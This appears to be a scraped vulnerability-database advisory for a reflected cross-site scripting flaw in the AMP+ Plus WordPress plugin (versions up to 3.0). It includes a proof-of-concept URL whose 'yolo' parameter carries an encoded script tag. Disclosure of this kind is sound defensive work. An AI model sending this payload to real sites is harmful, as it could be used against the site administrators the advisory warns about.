Lucene search

K
wpexploitNicolas SurribasWPEX-ID:1C3FF47A-12A5-49C1-A166-2C57E5C0D0AA
HistoryNov 13, 2023 - 12:00 a.m.

AMP+ Plus <= 3.0 - Reflected Cross Site Scripting

2023-11-1300:00:00
Nicolas Surribas
51
amp plus version 3.0
reflected cross site scripting
example.com
exploit

AI Score

6.5

Confidence

High

EPSS

0.001

Percentile

17.0%

Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

https://example.com/?p=1&yolo=%22%3E%3CScRiPt%3Ealert%28%27XSS%27%29%3C%2FsCrIpT%3E

AI Score

6.5

Confidence

High

EPSS

0.001

Percentile

17.0%

Related for WPEX-ID:1C3FF47A-12A5-49C1-A166-2C57E5C0D0AA